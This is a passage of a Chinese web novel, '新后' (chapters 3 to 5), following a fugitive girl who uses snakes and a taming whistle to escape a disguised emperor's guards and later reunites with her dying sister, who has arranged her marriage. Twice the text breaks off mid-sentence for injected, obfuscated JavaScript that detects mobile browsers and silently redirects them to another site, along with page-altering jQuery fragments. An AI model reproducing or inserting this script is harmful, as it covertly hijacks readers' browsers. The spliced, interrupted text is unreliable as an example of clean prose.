《新后》 3. 审训 朝露的哭声顿住。 她斟酌话语,开口道:“当时情形混乱至极,我为了活命,情急之下抄起身边灯盏,后面,后面便如贵人所见,等我回神,那人就已经死在我面前了……” 头顶人道:“话语不诚。” 他向前迈出一步,衣袍的一角从朝露手中滑开,接着她的肩膀一痛。 那盘问她的将士,从后将她束缚住,死死按在地上。 “明日我会将你交给官府。你既无罪,等府衙调查,真相大白,便不会让你蒙受冤屈。” 朝露回头:“大人,不行,对方势大欺人……” “那人便是势大,也得讲究王法!普天之下,天子律令,岂有不从的道理?你若清白,府衙定会还你公道!” “此事到此为止,明早我就将你押送官府。” 一锤定音,不容辩驳。 军官目光如刃,似警告,似威慑。 殿内升起柴火,“噼啪”燃烧声幽寂。 夜已过子时,朝露独自坐在角落,脊背紧贴着冰凉墙壁,仍在回想那兵士的话。 将士们辟出一处干净地方让那贵人歇息,有为贵人上药的,有值夜巡逻的,轮流把守殿门。 而她面上与衣袍上还附着一层恶臭鲜血,凝得她如一只僵硬泥塑。 朝露擦了擦脸上泥土,冷笑一声,方才擦拭眼睛,是为露出自己的眼睛,好叫自己哭的样子更动人些。 可那人从始至终没看自己一眼。 金尊玉贵的权贵,出行在外皆有数人侍奉,他腰间悬挂的玉佩,足以顶得上她一家人数年的用度,这是与她来自不同世界的男子。 不光是他,连他的手下也是一样的冷血。果然是在西北地界上,听命于贺兰翊的人,行事风格都是同样的冷酷专断。 朝露抬起头,大殿中供奉的那一尊佛祖神像,结跏趺坐于须弥座,面容丰润,肃穆慈祥。 神佛真的会怜悯世人吗? 那为何会让她在血泊泥沼中苦苦挣扎,自十五岁后的每一日都活在深渊中? 她不会将自己的命运交给上天。 他们如虎狼拦路,丝毫不怜惜自己,那她就只能靠自己来搏出一条路…… 她听到那群军官似乎在讨论贵人伤势,似乎需要止血的纱布。 她骤然出声,众人皆回过头来。 “民女听军爷们说,要寻干净纱布?民女知道殿里收着些……” 众人目光落在她身上,相互对视一眼,似乎商议了许久,才有人开口:“你知道哪里有?” “是,这儿以前有工匠修庙,但修到一半就中断了,工匠雕凿壁画和佛像时常受伤,所以殿内备有纱布和药膏。” 朝露头始终垂得低低的,感受头顶投来深沉目光。 “你对这处寺庙很熟悉?” “民女先前负责给工匠们送饭食,看过工匠们做工干活,略知一二,若军爷不嫌弃,民女去取来?” 话音落下,佛殿内陷入一片死寂。 是了,她一个不知来历的人,提出去取纱布药膏,那些人如何会放心用? 尤其是刚刚经历过她接近贵人的一幕。 但他们急需干净的纱布。 朝露赌的便是这个,她一下站起身来,这个动作一出,在场将士神色骤变,手按上刀柄。 她朝不远处柜子走去,身前如有实质的目光几乎要在她布衣上灼出洞来,可那些将士终究没有动作。 她从柜子中取出药罐纱布,递给最近的军官。 军官接过,指节在棉布上捻过两遍,检查后留下纱布,却将药瓶随手扔向一侧,挥了挥手让她回去。 从始至终没有多说一句,依旧满是防备。 朝露蹒跚脚步,慢慢回到角落里坐下,然而掌心中比起方才已多了两只小罐子,是她从架子上拿纱布时顺来的。 其中一瓶是兽胶粉末。 兽胶取兽类的皮肉骨骼熬制制成,是阿耶画壁画时调制颜料用的一味胶物,可增加颜料附着性。 可兽胶留有兽类的鲜香,附近山上盘踞的毒蛇,时常会循腥味而来。 从前阿耶修缮寺庙与壁画,少不得要用上鱼胶,得时时提防不知何处爬来的毒蟒作乱,她曾日夜为此担忧。 今夜这些凶物,却会成为她逃生的转机。 她要用兽胶引来毒蛇。 她从贵人身边回来时,走得极慢,已经悄悄将兽胶粉洒了一路。 少女抬起沾满血污的面颊,像只蠢蠢欲动的兽,观察着远处。 那里柴火烧得亮堂,一簇一簇火光摇曳,模糊了贵人的身形容貌。 他身边围绕数个侍卫,为他侍药,等上好药后,众人依次离开去往外间巡逻,只留有那最为肃穆的军官,单独护卫在身旁,不允许人近身。 绝好的时机—— 她悄悄扭开罐头,将兽胶粉洒在墙角缺口处,而后不动声色地退开一点距离,又小心揭开另一只罐子,倒出雄黄粉颜料,在身周撒出个半圆。 毒蛇惧怕雄黄气息,如此它们从墙角进来,便会下意识避开她。 窸窣动静响起,与窗外雨水声交织。 今夜一连杀了两个人,等会要杀第三个,她手又开始抖了起来。 温阿姆和家丁一同谋划送她去配阴婚,死不足惜,她没什么好愧疚的。 这群军官在西北,应当也是听从于贺兰翊。 一旦被贺兰翊的手下带走,等待她的将会是非人般的遭遇。 是会被虐杀、还是被囚禁? 他们不会放过自己的。 在她思忖之时,身侧墙角传来青砖松动声。 是毒蛇。 它们已经从破败一角爬了进来。 弓已开弦,便没有回头之路。 朝露抬手,将脖颈上悬着的骨哨送到唇边——哨身不过指甲盖大小,此刻贴唇,凑唇一嘘,发出几道几不可闻的震颤。 这枚吊坠她从不离身,是阿母留给她的遗物,可用来驯兽。 当年朝露缠了好久,才央求阿母教给她一点驯兽方法。 再凶猛的野兽,在这枚哨子下也得俯首帖耳。 今夜她自然也能驯服这些蛇。 那几只毒蟒吞吐着蛇信,应和着节律,沿着兽胶的气味,猛地窜出,如一缕幽魂直往前去。 即便再敏锐的射猎者在此,也未必能捕捉到这轻微的动静。 到现在,她还在用阿母阿耶教给她的东西来求生。 朝露的心也随之提起,十指死死绞紧衣袍,在毒蟒出动后,便低下头,心焦等待着结果…… 此招凶险,成败全看天意,是在赌那些人能否察觉到毒蟒的存在。 他们发现不了的…… 然而很快,只听得那贵人低声吩咐了什么,接着骚乱声起。 脚步声杂乱,“铮”鸣剑声响起。 “来人,护驾!” 朝露抬起头。 刚刚还在昂首吐信的毒蛇,悉数被护卫横劈成两节,血液飞溅,断肢还在拼命地扭动,染红了地面。 朝露心猛地一沉。 他们未必会查到是她所为。 可下一瞬,贵人附耳与军官低语,军官脸色骤变,按着刀柄朝她疾步而来。 一步、两步…… 军靴踏过地面的声响,如同催命符般。 一道剑锋的寒光一步刺入眼帘。 朝露缓缓抬起视线。 来人面覆冰霜,手中长剑抵住她眉心,剑尖还在不断流下毒蛇鲜血,“嗒”的一声,砸在她鼻梁上。 再向前一寸,锋利的剑尖,便会毫不留情地刺破她的额心。 “贵主唤你过去说话。” 朝露身子僵硬,只觉一股寒意从脚下升起,一点点敲击着她的小腿。 半晌,慢慢起身,朝柴火堆走去。 地上到处都是毒蛇断肢残躯,七零八落,铺了一地,还在血淋淋汩汩冒着血,气味直冲人面门。 她在贵人面前跪下,膝触地砖。 冰冷的刺痛感,从膝盖间一点点传至心尖。 而视线之中,也出现贵人衣袍的一角。 华美玄袍堆叠在地,上用金线绣出暗金纹路,浮动隐隐的华光,似月华游走于其上,精美非凡。 她依着警告,始终低垂眼帘,可这位贵人绞杀亲信的场面,始终无法从眼前挥去—— 绳索勒进脖颈的闷响,青筋暴起的紫红面容,还有那双至死都圆睁着的眼睛。 一幕幕如一根针扎入她的眼睛,他连血脉至亲都可以不眨眼的处死,那对自己呢? 不能慌,他们拿不出证据的。 可她眉心一直在乱跳。 “贵人唤民女来,是有何吩咐……刚刚殿内那些毒蛇不知从何处窜出来的,实在吓坏了民女……” 众人被屏退到外,只余下那位最高阶的肃穆军官,立在他身侧。 这漫长的沉默,令人倍感煎熬。 她等着对方开口,可许久,响起的只有沉默,以及竹简翻动声。 他在翻看身前破败案几上的佛经。 常年堆放在角落的佛经竹简,多年无人维护,已遭虫蛀,破败不堪,竹片也多有断开。 他却不急不慢地翻看着。 那修长的指骨上,带着一截银色指环,月光中泛出冷光,明明该是矜贵的饰物,此刻却像条活物毒蛇,缓缓沿着他冰凉的指节游走。 周身是鄙陋暗室,却遮不住此人一身华贵之气。 这是和面对那群军官时,完全不一样的形势。 军官们猜忌她、戒备她、盘问她,直来直往,目的明确,可此人召她到身边,却迟迟没有下一步发难的动作,究竟意欲何为? 事已至此,她毫不后悔,她只是给自己搏出路失败了。 要怪只怪,偏偏碰到的此人,竟能洞悉如此。 这几乎窒息的气氛中,他终于启口。 “你引来毒蛇,是对我手下军官处置极其不满?” 朝露双肩轻颤了起来:“贵人何出此言,民女竟能引毒蛇,哪有这样的本事?那毒蟒入殿时,民女瑟缩在角落之中,当真是吓破了胆子,连大气也不敢出……怎敢对贵人的处置有半分怨言……” 她声音细若蚊蝇,仿佛真是怕极了。 那人笑道:“不敢有,怎会呢?” 声线如初雪消融般清润,仿佛是在说家常话般。 “你定然满腹怨言,心头不甘的,若非如此,也不会于佛前,以谎话狡誓,以求脱逃。” “贵人?” 他察觉出来了,她在佛前说谎。 “你杀人时,用的是这佛观里的颜料,你引诱毒蟒,用的是辅佐作画的鱼胶,你极其熟悉这里?” 朝露未曾料到,他如此了解作画之事,张口欲辩驳。 “不必在我面前装腔作势,你撒谎搪塞我的人,无非是若顺着佛庙来查,定能找到你的身份,而你不愿以此示人。我说的,对不对?” “满腹谎言,胆大妄为,不惜在神佛面前妄言,也不怕佛者察觉?” 朝露用袖摆拭泪的动作定住。 她已是极其慎重,不想暴露自己和这座佛寺的关系,可此人竟心细如发如此,将她短短几句话记得如此清楚,更察觉到了其中细微的漏洞。 她慢慢直起身子。 “毒蛇之事,民女是真不知。贵人说我不怕佛者察觉,是,我是胆大妄言,可我本无罪,又何须惧怕毒誓成真?倘若神佛因此降罪于我,那才是青天无眼。” “我不信神佛,不信圣人。能拯救我者,那才是神佛。” 刀剑就悬在她的头上,她如何才能不让它落下? “民女被恶人所逼,行至末路,可否请贵人大量,放民女一条生路,如若可以,贵人便是我的再生父母,是我的圣人神佛。我虽出身寒微,但也是记恩之人,日后愿为贵人……做牛做马。” 到这一刻,她还为自己求一条生路。 她双目绯红,声音发颤。 他在打量着她。 自那话落地后,他目光便从竹简上,移到了她身上,她面颊覆满灰尘血水,此刻大概看不出原本容貌的。 他换了一个姿势,手撑着脸颊看来。 什么样的人,敢让前一刻要刺杀他的人近身? 就像是猎豹虎狼,无畏手中毫无抵抗之力的弱兽反抗,一切皆在掌握之中,所以才可以高高在上睥睨着下位者。 朝露头皮发麻,从未和这样的人打过交道,即便贺兰翊也做不到如此,几句话就能将她内心里里外外都看透。 气氛难挨中,他终于开口。 “会驯兽吗?” 朝露眼睫轻轻一颤,“贵人?” “你从何处学来的驯兽本领,让那些毒蛇听话的?” 朝露张口要否认,头顶已传来他淡淡的声音:“取你项上人头容易,而我的耐心有限。” 朝露齿节轻颤,“我……” 他绝非在说笑。 若下一句话无法令他满意,那她便会人头当场落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866196|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 要不要如实告知? 阿母的商队曾行走西北和西域诸国的商路,每一次都满载颇丰而归,在诸多商队中堪称翘楚,最得商行倚重。 原因无他,便是阿母怀有独门驯兽之术,能从千里转运各地珍奇异兽,从无差池。 可承认之后,他会放过企图用毒蛇杀他的自己吗? 朝露出了一身虚汗,能听到胸膛回荡的巨大心跳声,两股力量撕扯着,令她煎熬无比。 头顶威压让她抬不起头,就仿佛置身于蜘蛛丝里,蛛网一点点收紧,用一种极其磨人的方式,让她俯首投降。 身侧的军官,搭在长剑上的手,忽然指尖抵开了剑鞘。 她开口道:“是我家中亲人曾为商队奔走干活,有驯兽的本领,民女也自幼耳闻,习得了一些,用的是哨骨,模仿各类兽类敏感的声音,令那些野兽听话臣服。” 话出的一瞬,她心像空了一块。 自己的性命完全在他掌心之中了。 她当真没有一丝退路。 头顶人似乎听到了有趣之话,轻轻一笑。 她做好了最坏的打算,本以为对方听后,必然是暴怒,却没想会是这样的反应。 “那会驯豹子猛虎这一类的猛禽吗?” 豹子猛虎? “会的!” 朝露下意识想抬头,又低下面颊:“民女早年也曾跟随过西域的商队运送猛禽,自然会一些,贵人若是需要,民女自当会为贵人解忧!” 不是。 她当然不会,阿母只教了她些许皮毛,从不让她近那些猛禽的身。毒蛇则是她害怕阿耶在庙里安危,钻研来的方法,教给阿耶防身所用。 可自己的生死,皆在他一念之间。 对方为何会问这个? 但无论如何,也要展示被利用的价值。 “好啊。” 他语调慵懒,声音含着笑意,却绝非友善。 “我身边近来缺少一驯兽师,的确需要胆色过人之辈。” 他将手上的银色指戒取下,朝露看看那戒指在空中划过一道亮光,连忙抬手接过。 “半个月后,你去安西都护府,报上姓名,说为贵人驯兽,自会有人接待你。” “贵人?” 他身侧军官矮下身子,似乎觉得不妥,想说些什么。 贵人已经抬手,“到那时,锦衣玉食我倒是可以给你保证。” “至于你今夜之罪——”他顿了顿,语调轻缓。 “等下次,我再想想如何偿还。” 短短时间内,发生如此大的转变,朝露亦是未能反应过来,回神后,连忙俯身叩谢。 “多谢贵人!” 那人目光未曾在她面颊上多停留半分,抬手让她退下。 朝露回到角落坐下。 那掌心之中的银戒,还残留着他的温度,沉甸甸的,如烫手的山芋。 虽只有片刻交流,她却如赴了一场刀山火海。 此人究竟是何人? 他能豢养奇禽猛兽,又随手便可决定前线高级将士的生死,且谈吐之间,好似世事皆在他掌控之中,连前一刻刺杀他的人,都可以放心去用…… 他是西域都护府家的公子吗? 这样的人物,绝非她可以应付。 在这个时候,她下意识抬手,抚摸颈间那枚骨哨。 阿母说的对,她是福大命大。 今日能在那贵人面前辩白得生,是自己争取来的一线生机。 既然天不亡她,那她必然不会辜负这一次机会,势必会翻天倒地。 叫贺兰家那些人都付出代价。 她面容藏在黑暗中,纤长的睫毛颤着水珠,抬起指节,将落下的泪珠,一点点、慢慢地擦拭干净。 那双湿润的眼眸,渐渐变得幽幽。 她在盘算着日后怎么活下去,怎么一点点往上爬,要杀哪些人,怎么杀人,用什么杀人…… 最后,她看向远处那道不甚清晰的身影。 即便再不愿遇到此人,那也是放过自己的贵人。 日后若能再遇,她会报答他的。 殿外的雨声不绝。 朝露头靠在墙壁上,听着雨声,阖上眼帘,为明日养神。 ** 大雨倾盆,在天地间肆虐。 西北的雨,向来不会下多久,到次日清晨,雨水已渐渐停歇。 光亮透过窗户洒进来,军士们有条不紊收拾着东西,准备动身离开。 有兵士走到上司军官面前,禀告道:“国公爷,那女子天才亮,就偷偷从窗户翻走了。” 他所称呼国公的男子,不过二十有三,极是年轻,但若放在军中,谁人不知其威名? 此人便是当今帝国开国元勋,昔年跟随先皇与当今天子南征北讨,推翻旧朝,被授予“开国公”的天子近臣,贾离。 本该在京城朝堂中的开国公,如今却在这处破败的庙宇。 只因此番前线战事事关重大,乃天子登基后,第一次向西大举动兵,有吞胡虏之心,亲自来前线督战。 这一趟秘密之行,少有人知晓,也不宜声张。 贾离从下属口中听到她已离开,皱了皱眉,表示知晓。 倘若那女子得知,昨夜面对的贵人便是当今圣上,只怕给她一百个脑袋也不敢行刺杀之事。 在他等候贵主之时,那道身影已然走出,贾离垂眸行礼,恭敬跟上。 众将士肃穆齐整,一切悄无声息。 贾离看着前方的身影,他与天子一同长大,虽是自幼的玩伴,然其已贵为天子,这些年行事风格越发冷肃。 有些话,贾离不知是否该说。 他犹豫良久,还是道:“陛下仁慈,但那一枚银戒,交付给那来路不明的女子,实在不妥,此乃调度皇宫近军信物之一,臣怕若流落在外,会有不必要的麻烦。” “何况陛下那女子狡猾若狐,故作怜态,未必去都护府领职,陛下放其离开,是陛下开恩,想放过臣民一命。” 年轻男子大步流星,不见丝毫赶路的风尘仆仆。 天子声含浅笑:“信物与否,在于朕手。朕用,执掌乾坤,在旁人手,不过是一上好的扳指。” “死物而已,不足挂齿。” “给她,起不了波澜。” 年轻的帝王,气度若渊,长身风流,翻身上马。 贾离跟随在后。 众马蹄扬尘,直往西去,山峦尽头日头耀升,照亮这一行人的前行山路。 4.婚事 时值五月初。 西北的天已初显燥热,雨落了一夜,草叶攒满露水,待朝阳攀上山脊,便化作雾气消散无踪。 这一日正午,在临洮郡城的官道上,出现了一道女子的身影。 她一身布衣,头戴青色斗笠,身背竹篓,在一间客栈门前停下,行在熙攘的人群中,背影与身后往来采买的姑娘们并无差别。 午风拂起她青色的衣袍,少女指尖轻轻推开竹笠边沿,露出一双灿亮眼眸。 正是昨夜历经生死、从虎口逃生的朝露。 如今的她已洗去一身血水,不见身上的荆棘泥土,又以一根布带绾起长发,长坠于身后,只怕任谁在此,都不会将她与昨夜佛观中的满身血污、面目难辨的女子联系在一起。 在她脖颈间,悬挂着一枚银环,日光下闪烁刺亮的光芒。 她摩挲着银环,想起昨夜贵人的许诺。虽应下驯兽之事,但那贵人通身的气度、御下的手段,绝非她可轻易对付。 都护府的大门,她又怎敢踏入? 眼下有更重要的事要做—— 她被捆绑在柴房里,听那群粗使婆子说,阿姊如今就栖身在这座“宿仙楼”里。 那位从京洛来的小姐,为了寻亲,屡遭冷待,依旧未曾放弃寻找失散的妹妹。 只是不知,过去这么久,姐姐还在不在…… 朝露拉下竹笠,阴翳覆盖住面颊,跨步进入客栈。 “你阿姊病得极重,已经昏迷数日未曾醒来,你来得太晚了。” 酒楼的一间客房内,一束日光穿过雕花窗棂,照着窗前两位女子。 朝露立在光里,面色苍白,分明置身最炽烈的阳光,周身却如坠冰窟。 面前的年轻女子,是阿姊的挚友,名唤荷衣,此番陪同阿姊来西北寻亲。 当朝露取出自幼佩戴的玉珏,一面刻着“朝露”二字,另一面雕着振翅欲飞的雎鸟,荷衣便确认了她的身世。 荷衣垂下眼眸,哀痛的目光看向床榻。 “贺兰家小姐百般针对你的阿姊,得知我们寻亲,下令金城郡各家酒楼,一律不得收留我们,逼得我们辗转周边各郡城,直到了临洮郡方才得以落脚。” 又是贺兰贞。 朝露垂在身侧的手,握紧成拳。 “你阿姊本就疾病缠身,身子亏空得太多,这一路更是身心俱疲,三日前陷入了昏迷,脉象垂危,并无多少时日了……” “这一封信,是她留给你的。” 一叠信纸被递到面前。 朝露小心翼翼接过。那纸张轻轻的,却仿佛带着千斤的分量。 她看向一侧床帏,阿姊就披散长发躺在那里。 她的阿姊实在生得貌美,她苍白的肌肤如白瓷般是美的,浓黑的乌发如乌云一般逶迤是美的,未施粉黛昏睡也有一种颓丽的美。 她在来前,曾惴惴不安地想,阿姊会喜欢自己吗? 阿姊是从京都来的贵女,那必然少时承受的是诗书熏陶,高门教化,一举一行都是贵女的典范,而她在乡野长大,少时阿耶阿母劳作繁杂,便由着她在和阿弟在田地间放纵玩乐,甚至她连识字,也是在入贺兰府后才勉强习得一二。 自己见识鄙陋,举止粗俗,会不会惊到她? 可一切的不安,在这一刻,都显得格外无力。 朝露将信展开来,目光落在上面。 “小妹,见字如晤,吾身染重疾,忧思难解,不知何日能见尔?” “与尔失散十四年,离恨之苦夜夜萦于心。写下此信,代吾与尔相见。凡吾所嘱托,望尔勿忘,切记,切记。” 信上有好些字她并未学过,只能磕磕绊绊大致看下去。 阿姊先说的,是朝露的身世。 她姓元,出自长安元家,便如她玉珏上所刻,名叫朝露,阿姊名为昭壁,长她大三岁。 元氏一族,世代清流,皆入朝效命于楚氏王朝。 他们的父亲官至司徒左长史,总管各州郡农桑户籍、官吏考课。 但楚氏朝纲从前几代起,便已经不振。 十年前的那一位楚皇,更是昏聩无能,乱施淫政,以至于使胡马窥江,长安城破,烽火一连烧至北方诸郡。 那道迁都诏令尚未下达各州郡,楚皇便已丢下臣民,带妃嫔东行避祸。 那一日的长安,上至世家贵族,下至百姓,皆向东逃难。 行文至此,阿姊的情绪仿佛如字迹一样,陡然震颤起来。 信上所说,他们的阿父冒死进谏楚皇,反被下罪打入牢狱,元氏长房也被贬斥。阿母带着两个六岁、三岁的女儿启程,却在东行迁都的路上,和同行之人车驾失散,此后遭遇贼寇匪兵。 荷衣在一旁轻声道:“你阿姊亲眼看见你们阿母是被贼寇所杀,后来,她和你一同逃亡,路上烟尘蔽日,又饥又渴,她将你藏在路边草堆之中去寻水,等回来便瞧见你不见,似乎被人掳走,她脚都跑出血,哭得泪好像都流干净了,怎么也追不上你,路上到处是流民,她实在害怕……这么多年,她每每想到此事,都觉得对不起你,是她弄丢了你。” 可这些事,朝露竟然一概都无印象。 她的指尖抚摸着信件上那泪痕,纸张不平的触感直达内心,仿佛感受到阿姊写这番话时的悲痛心绪。 可阿姊那时也不过六岁大。 自己怎么会怪她? 荷衣继续道:“那时她一人流落在旷野,恰逢她师母施医经过,可怜她孤女一人,飘零无依,便好心将她收留。” 朝露道:“那阿姊这些年在江南过得如何?为何没有再去京城寻元家之人?” 荷衣道:“回去?元氏一族是犯了大错,待前朝迁都京洛后,那位楚皇更将你父亲定为乱党,她入京下场便只有一条死路,如何能回?好在她师母是江南名医,将毕生所学传授于她,让她十几年来未曾再漂泊。” 荷衣说到此处,双目绯红,看向床榻上人。 “你阿姊不止一次说,天道有眼,拨乱反正,终是让萧家推翻了暴楚……那萧氏皇族与你们是表亲,新朝为你们父亲翻案,也归还了元氏清白。” 朝露的视线回到信上。 元家、萧氏、新皇、表亲…… 一个个字眼接踵而至跃入她的眼帘。 两朝更迭之事,即便平民如朝露,也是知晓的。 旧楚一朝,积病久矣,如僵死之巨虫。 国家北有敌戎,内有起义不断,全靠萧氏一族平叛镇压,方才得以苟延残喘。 王朝末年,各路兵马争相登场,如饿狼扑食,妄图分得一杯残羹,打到几乎脚下每一寸土地都浸满了鲜血。 末帝倚靠萧氏一族,然乱世疯狂至此,最终猜忌的火还是是烧到萧氏身上,步步逼近针对萧家。 萧氏被逼入绝境,五年前,太祖在今上的建议之下,终是振臂一呼自立,浩浩荡荡,拥兵数万,如一条巨龙异军突起。 那一段血色岁月终结于萧氏一族。 那些曾经高不可攀、仿若云端的人物,如今竟与她有了千丝万缕的牵连。 她本该是心绪难平的,但或许是那些人物太遥远了,所有的情绪都在阿姊卧病在榻面前,冲散了许多。 她轻轻唤了唤床榻上人,“姐姐。” 丽人躺在云被之中,安静而眠,犹如静谧的一株月芙蓉,不为人所惊动。 荷衣在一旁道:“信最后那番嘱咐,你看到了吗?是关于你的婚事。” 朝露轻声:“看到了。” “你的婚事,你阿姊本想亲口与你说,但她怕自己再醒不来,便叮嘱我,若能寻到你,就劝你立刻前往京城。” “至于你在西北的过往,她也想办法为你修饰好了,是一段被善心小户人家收留的体面过往,将你在贺兰家当女奴的事抹得干干净净,不会拖你的后腿……” 朝露打断道:“阿姊为何会病得这样重?真的没办法治好她了吗?” 她眼下根本没有心思去关注婚事。 荷衣盯着她的面颊,沉默良久,道:“外面那一位大夫,是你阿姊的师兄,与她师从同一名医,被誉为能活死人肉白骨的鬼手,却也治不好她的病……” “她闭眼前,交代那位岑修师兄好好照管她的后事。她的尸身是回不去京城了,不如就葬在陇西,你入京后,只需说她因病离世便可。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873917|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝露摇了摇头。 阿姊跋涉千里来陇西,只是为了寻自己一人,即便三番五次被阻挠,也未曾有半点退意。 甚至在病重时,她含着血泪写下那一封信,替自己将前路都安排妥当。 她若就这样离开,与那生性凉薄的不义之徒的有何区别? 即便多年为奴,趋利避害几乎刻进了骨髓里。 但有些事,她无法去做。 荷衣道:“可你在此,她也未必能醒来。这里是贺兰家的地盘,你多待一日,便多一份危险。” 朝露的目光轻轻描摹着床上丽人的面庞,仿佛要将她的面容深深刻入脑海中。 “阿姊是何时陷入昏迷的?” “三日前。” “好,那我就等她三日。” 荷衣一愣,觉得不妥。 “贺兰家得知你逃脱后,早晚会找到这里来,若你再度落入他们手中,才是你阿姊最不愿见的事。” “我知道,可我想和她说一说话,再陪陪她。” 在贺兰家时,她强撑着咬牙不愿落一滴泪,不想让他们看到自己流露的脆弱,后来面对那些军官,她是落了泪,可眼泪也都是假的,只是为了挣一条活路。 这一刻,眼眶才真正泛起热意。 她轻轻开口:“只要三日,让我再陪她三日,好吗?如若那时阿姊无法醒来,我也会乖乖听她的话赶紧离开。” 她一路强撑至今,全凭着要和阿姊见面的执念。 离乱十四年,终于相逢,怎么能才见上一面就分开呢? “荷衣姐姐放心,三日后破晓时分,我自当启程入京。” 荷衣静立良久,见她哀戚目光久久落于榻上之人,终是颔首:“依你。” 夜已三更。 案头那支素烛已燃去大半,烛火轻轻摇曳,将床边坐着影子拉得忽长忽短。 朝露靠在床柱上,凝望着手上那封信,已经从午后陪阿姊到半夜,本该早早就去歇息的。 可帐幔内都是阿姊身上的幽幽香气。 她的心也仿佛被那香气浸染,渐渐沉静下来。 想要待在这一处安宁之地,永远不要离开。 手上的信件,她不曾离手一刻,虽识字不全,但经半日的琢磨,也大致了然于心。 尤其是信件最后,那一桩婚事,她反复看了数遍。 信上说,阿姊在来前,为她,向新帝提起了一桩旧日契约。 她们的亲生阿母与萧家先帝,便是太祖皇帝,乃是表兄妹,少时二人立下婚约,后来婚事虽作罢不成,但太祖皇帝顾念与阿母的表兄妹情意,遂许下后辈之间的婚事。 故而她和阿姊从少时起,注定有一人,日后要嫁给萧家儿郎。 可阿姊在江南时曾许配过人。 这桩婚事便落在朝露身上。 “燕王与天子一脉,乃太后嫡出,品行出众,样貌俊逸,少有贤名。至于其骑射鞍马之术,更是陛下一手所教,极为今上器重。” 燕王。 朝露指尖摩挲着墨字。 在西北时,贺兰家手指轻轻一捏,就能像碾碎蝼蚁一般,将她一家平静的生活彻底搅乱打碎。 便是因为他们没有权势。 非权力鼎盛至极,不足以对抗豪族贺兰家。 只有往上爬,才能为阿耶阿母雪恨报仇。 入京洛,回元家,嫁燕王。 这是一个递到她面前绝好的机会。 烛火幽暗,她艳丽的容颜一半藏匿在昏暗中,一半在光下,汇聚泪珠的双目,安静盯着“燕王”二字。 身侧传来的轻微的动静。 “妹妹……” 朝露闻声抬头,见床榻上的丽人蛾眉紧蹙,唇间不断溢出呓语。 丽人虚弱地睁开了双眸。 元昭壁意识混沌时,就觉有人在耳边低语,下意识以为妹妹回来,伸出手去,蓦然醒来,惊觉又是一场梦落空。 可这一次,指尖却触到温软掌心。 有人稳稳握住了她的手,与她十指相扣 耳畔传来的是一句清音,如晨露坠在荷叶上,震得她心弦抖颤:“阿姊,我在。” 5.应诺 元昭璧模糊的视线中,出现了一张年轻的女子面庞,自己的手正是被她握住,那掌心温度,温暖得仿佛融融春江水。 屋外的荷衣与师兄听到动静,依次从门外进来。 元昭璧侧卧在枕上,听不清他们说了什么,愣怔的目光始终落在朝露身上。 “你真的是我的妹妹吗,我竟觉得在做梦似的。” “是我,阿姊。” 她从昏迷中悠悠转醒,看向荷衣,得她附耳低语解释,神思终于渐明。 “我这阵子总是醒一阵梦一阵,醒的时候想见到幼妹,梦里也想见妹妹,竟没想到真的能见到你。你和我分别的时候,你还那么小,就被贼人掳走……” “你看。” 元昭璧轻轻扣住她的五指,将两人的手举到光下,“你手上有道小伤口,我这儿也有一道。” 烛火下,二人手背之上两道淡得几乎看不见的伤痕,慢慢相贴在一起。 “这是那一日,贼人追赶我们,鞭子打在你和我身上一同留下的痕迹。我拉着你一直跑,躲在草堆里,你害怕极了,在我怀中缩成一团,都没有哭出声一下。” 朝露的心上某一处经络,仿佛被一股柔和的力量轻轻牵动。 “是我没有看好你,不该丢下你一个人去找水,害你失散这么多年……” 元昭璧双眸如涨水的溪流,渐渐浮起泪珠。 朝露道:“这和阿姊没有一点关系,是战事所迫,是贼人所害,我一点也没有怪罪阿姊。” “真的吗?” 朝露先是含笑望着她,随后伸出指腹,为她慢慢拭去眼泪。 只这一个亲昵的动作,便令元昭璧的泪止住。 “那你现在找到我了呀。” 朝露语调轻轻扬起,双手拉过她两只手腕,贴上她的面颊,用脸颊轻轻蹭她掌心,撒娇般唤道:“阿姊。” 就像是姊妹之间再寻常不过的语调。 元昭璧眼眶涌起热意,“我知道的,你这些年流落在外,受了不少委屈,那贺兰家迫你为奴,实在可恨,就连我来寻你,他们也不肯放人,便是依仗贺兰翊辖控陇西,此地又远离京洛,算定我束手无策。” “我与贺兰家比,手无权柄,便如以卵击石,更不用说你这些年怎么过的……妹妹,我都知道的。” 她漂亮的眼眸淌下泪珠:“我不会再让你受苦,在来前,特向陛下求了一道婚事,那封信,你看到了吗……” 元昭璧看向她身后的荷衣。 朝露扣她的手更紧,“荷衣姐姐已经转交给我了,阿姊为这桩婚事,怕是奔走耗费了许多心力,对吧?” 萧氏已是皇族,今非昔比。 阿姊求婚事时,怎么可能不惶恐、不畏惧天颜震怒呢? “可我只想妹妹过得好,护妹妹周全,那点不算什么。” 元昭璧声音轻柔,“今上是贤明之君,厘清前朝旧案,为元氏翻案,我入京后,虽未曾窥见天颜,却有幸得其信一封。” “陛下信上言辞宽慰,令我放心,昔年之祸已翻案,元氏的名声得以恢复,又言阿母有恩于先帝,先帝在时,便曾想寻你我姐妹,故而我放手一搏,为你谋婚事。” 朝露道:“可我长于乡野,与那燕王更是素未谋面,能入那些天家人的眼吗……” 元昭璧含泪微笑:“我的妹妹生得这样好看,一定会的,陛下既肯私下流露此意,便是十之八九应允,待你入京面圣,若得陛下首肯,便可议定你与燕王的婚事……” 